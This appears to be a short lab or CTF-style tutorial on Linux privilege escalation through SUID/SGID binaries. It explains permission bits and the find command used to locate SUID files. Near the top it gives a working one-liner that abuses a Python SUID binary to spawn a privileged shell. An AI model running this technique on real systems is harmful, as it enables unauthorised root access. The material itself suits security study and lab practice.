Abusing SUID/SGID
Python - Mismanaged
/usr/bin/gomugomunooo_king_kobraaa is a Python SUID binary. Running it with the command below drops a shell:
/usr/bin/gomugomunooo_king_kobraaa -c 'import os; os.execl("/bin/bash", "sh", "-p")'
Finding and Exploiting SUID Files
The first step in Linux privilege escalation is to check for files with the SUID/GUID bit set. This means the file can be run with the permissions of its owner/group, in this case the super-user. We can leverage this to get a shell with those privileges.
What Is an SUID Binary?
In Linux everything is a file, including directories and devices, which have permissions to allow or restrict three operations: read/write/execute. So when you set permissions for any file, you should be aware of which Linux users you allow or restrict all three permissions for. Here is how maximum privileges (rwx-rwx-rwx) look:
r= readw= writex= execute
user group others
rwx rwx rwx
421 421 421
The maximum number of bits that can be used to set permission for each user is 7, a combination of read (4), write (2) and execute (1). For example, if you set permissions using chmod as 755, it becomes rwxr-xr-x.
When special permission is given to each user it becomes SUID or SGID. When the extra bit 4 is set on the user (owner) it becomes SUID (Set User ID), and when the bit 2 is set on the group it becomes SGID (Set Group ID).
Permissions to Look For
SUID
rws-rwx-rwx
GUID
rwx-rws-rwx
Finding SUID Binaries
A LinEnum scan already tells us there are SUID-capable files on the system. To do it manually, use find / -perm -u=s -type f 2>/dev/null to search the file system for SUID/GUID files. Breaking the command down:
Initiate the find command:
find
/searches the whole file system.-permsearches for files with specific permissions.-u=smatches when any of the permission bits mode are set for the file. Symbolic modes are accepted in this form.-type fonly searches for files.
Suppress errors:
2>/dev/null